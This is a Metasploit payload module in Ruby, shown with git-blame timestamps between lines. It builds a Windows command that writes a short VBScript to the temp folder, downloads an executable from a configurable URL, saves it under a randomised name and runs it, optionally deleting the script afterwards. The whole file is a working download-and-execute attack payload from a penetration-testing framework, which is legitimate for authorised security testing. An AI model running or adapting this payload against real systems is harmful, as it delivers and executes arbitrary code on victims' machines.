2010-08-23 22:50:24 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-08-23 22:50:24 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/base/sessions/command_shell'
|
|
|
|
require 'msf/base/sessions/command_shell_options'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
module MetasploitModule
|
2010-08-23 22:50:24 +00:00
|
|
|
|
2015-03-09 20:44:14 +00:00
|
|
|
CachedSize = :dynamic
|
2015-03-09 20:31:04 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Payload::Single
|
|
|
|
include Msf::Sessions::CommandShellOptions
|
2010-08-23 22:50:24 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(merge_info(info,
|
|
|
|
'Name' => 'Windows Executable Download and Execute (via .vbs)',
|
|
|
|
'Description' => 'Download an EXE from an HTTP(S) URL and execute it',
|
|
|
|
'Author' => 'scriptjunkie',
|
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Arch' => ARCH_CMD,
|
|
|
|
'Handler' => Msf::Handler::None,
|
|
|
|
'Session' => Msf::Sessions::CommandShell,
|
|
|
|
'PayloadType' => 'cmd',
|
2014-02-08 12:24:49 +00:00
|
|
|
'RequiredCmd' => 'wscript',
|
2013-08-30 21:28:54 +00:00
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Offsets' => { },
|
|
|
|
'Payload' => ''
|
|
|
|
}
|
|
|
|
))
|
2010-08-23 22:50:24 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('URL', [ true, "The pre-encoded URL to the executable" ]),
|
|
|
|
OptString.new('EXT', [ true, "The extension to give the saved file", "exe" ]),
|
|
|
|
OptBool.new('INCLUDECMD', [ true, "Include the cmd /q /c", false ]),
|
|
|
|
OptBool.new('DELETE', [ true, "Delete created .vbs after download", true ])
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2010-08-23 22:50:24 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def generate
|
|
|
|
return super + command_string
|
|
|
|
end
|
2010-08-23 22:50:24 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def command_string
|
|
|
|
# It's already long. Keep variable names short.
|
|
|
|
vbsname = Rex::Text.rand_text_alpha(1+rand(2))
|
|
|
|
exename = Rex::Text.rand_text_alpha(1+rand(2))
|
|
|
|
xmlhttpvar = Rex::Text.rand_text_alpha(1+rand(2))
|
|
|
|
streamvar = Rex::Text.rand_text_alpha(1+rand(2))
|
2010-08-23 22:50:24 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
command = ''
|
|
|
|
command << "cmd.exe /q /c " if datastore['INCLUDECMD']
|
|
|
|
# "start #{vbsname}.vbs" instead of just "#{vbsname}.vbs" so that the console window
|
|
|
|
# disappears quickly before the wscript libraries load and the file downloads
|
|
|
|
command << "cd %tmp%&echo Set #{xmlhttpvar}=CreateObject(\"Microsoft.XMLHTTP\"):"+
|
|
|
|
"#{xmlhttpvar}.Open \"GET\",\"#{datastore['URL']}\",False:"+
|
|
|
|
"#{xmlhttpvar}.Send:"+
|
|
|
|
"Set #{streamvar}=CreateObject(\"ADODB.Stream\"):"+
|
|
|
|
"#{streamvar}.Type=1:"+
|
|
|
|
"#{streamvar}.Open:"+
|
|
|
|
"#{streamvar}.Write #{xmlhttpvar}.responseBody:"+
|
|
|
|
"#{streamvar}.SaveToFile \"#{exename}.#{datastore['EXT']}\",2:"+
|
|
|
|
"CreateObject(\"WScript.Shell\").Run \"#{exename}.#{datastore['EXT']}\":"
|
|
|
|
command << "CreateObject(\"Scripting.FileSystemObject\").DeleteFile \"#{vbsname}.vbs\"" if datastore['DELETE']
|
|
|
|
command << " >#{vbsname}.vbs"+
|
|
|
|
"&start wscript #{vbsname}.vbs"
|
|
|
|
end
|
2010-08-23 22:50:24 +00:00
|
|
|
end
|